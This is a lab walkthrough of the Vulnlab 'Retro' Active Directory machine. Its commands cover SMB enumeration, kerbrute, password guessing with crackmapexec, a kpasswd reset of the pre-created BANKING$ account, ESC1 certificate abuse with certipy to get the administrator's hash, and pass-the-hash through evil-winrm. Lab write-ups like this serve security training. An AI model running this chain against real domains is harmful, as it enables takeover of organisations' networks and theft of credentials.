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Vulnlab/Retro.md
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# Vulnlab - Retro
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## NMAP
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```bash
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PORT STATE SERVICE VERSION
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53/tcp open tcpwrapped
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88/tcp open kerberos-sec Microsoft Windows Kerberos
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135/tcp open tcpwrapped
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139/tcp open tcpwrapped
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445/tcp open tcpwrapped
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593/tcp open tcpwrapped
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636/tcp open tcpwrapped
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| ssl-cert: Subject: commonName=DC.retro.vl
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| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.retro.vl
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| Issuer: commonName=retro-DC-CA
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2023-07-23T21:06:31
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| Not valid after: 2024-07-22T21:06:31
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| MD5: c1f0bac716e071c2bcb943273d569612
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|_SHA-1: 7f37ea6965982430f9180a65bcadde76add6fea6
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3389/tcp open tcpwrapped
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| ssl-cert: Subject: commonName=DC.retro.vl
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| Issuer: commonName=DC.retro.vl
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2023-07-25T09:53:42
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| Not valid after: 2024-01-24T09:53:42
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| MD5: 89ccbcee0485b170bbd1ebee3de93784
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|_SHA-1: 2bfca683288bc59e2d2f9ffe01775d871c8c272d
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9389/tcp open tcpwrapped
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49664/tcp open tcpwrapped
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49672/tcp open tcpwrapped
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49683/tcp open tcpwrapped
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49708/tcp open tcpwrapped
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```
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On Enumerating SMB with null authentication we can find few shares
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<img src="https://i.imgur.com/hsCNCzc.png"/>
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From the `Trainees` share, we'll get `Important.txt` which talks about having weak passwords on the trainees account and also mentions about bundling all of their account into one general `trainee` account
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<img src="https://i.imgur.com/KSVl5Ad.png"/>
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So verifying if the account is trainee through `kebrute`
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```bash
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kerbrute userenum --dc 10.10.108.245 -d retro.vl user.txt
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```
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<img src="https://i.imgur.com/qc50pOw.png"/>
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We could have figured this out without guessing as well through lookupsid.py from impacket with anonymous user
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```bash
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lookupsid.py anonymous@10.10.99.152 -no-pass
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```
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<img src="https://i.imgur.com/OpoCNLA.png"/>
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Since this account has a weak password, we can try common things like password being trainee, verifying it through `crackmapexec`
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```bash
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cme smb 10.10.99.152 -u 'trainee' -p 'trainee' --shares
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```
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<img src="https://i.imgur.com/652HK94.png"/>
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We can now access `Notes` share and find a ToDo.txt file which talks about pre-created computer accounts
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<img src="https://i.imgur.com/mEc0UR2.png"/>
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<img src="https://i.imgur.com/ZRsMc7m.png"/>
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https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/
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If we go back to the output of lookupsid, we'll see a computer account `BANKING$`
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<img src="https://i.imgur.com/vZMirvK.png"/>
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The password for this account is the same as the name, on trying to login, it will show `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`
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<img src="https://i.imgur.com/EQuQGaE.png"/>
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In order to use this account, we need to change the password and this can be done through `kpasswd` which requires `/etc/krb.conf` to be modified
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<img src="https://i.imgur.com/XVq9dTs.png"/>
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```
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kpasswd BANKING$
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```
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<img src="https://i.imgur.com/XzyJKT4.png"/>
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This can be verified again with cme that the password has been changed
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<img src="https://i.imgur.com/4WqhYDX.png"/>
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Enumerating ADCS with `certipy` , we see that authenticated users have enrollment rights but there isn't any template which be used with trainee user
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<img src="https://i.imgur.com/Dn2l9l4.png"/>
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However checking the BANKING$ account, there's a template `RetroClients` on which domain computer have enrollment rights which can allow the machine accounts to enroll certificate on behalf of other users leading to ESC1 attack
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```bash
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certipy find -u 'BANKING$' -p 'Pass' -dc-ip 10.10.99.152 -stdout -vulnerable
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```
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<img src="https://i.imgur.com/4N8TaGP.png"/>
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On requesting administrator's certificate, it's going to show an error that it doesn't meet the minimum key size which by default certipy sends with 2048 length
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<img src="https://i.imgur.com/iVIZR00.png"/>
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Specifying the key size to be of 4096 will resolve this issue
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```bash
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certipy req -u 'banking$'@retro.vl -p 'P@ss12345' -c 'retro-DC-CA' -target 'dc.retro.vl' -template 'RetroClients' -upn 'administrator' -key-size 4096
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```
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<img src="https://i.imgur.com/Z8njyv9.png"/>
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With this certificate, administrator's hash can be retrieved
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```bash
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certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'retro.vl' -dc-ip 10.10.99.152
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```
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<img src="https://i.imgur.com/uOMiJ0s.png"/>
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Through `evil-winrm` we can login on WinRM using the NThash of administrator
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<img src="https://i.imgur.com/eDwld0C.png"/>
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## References
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- https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/
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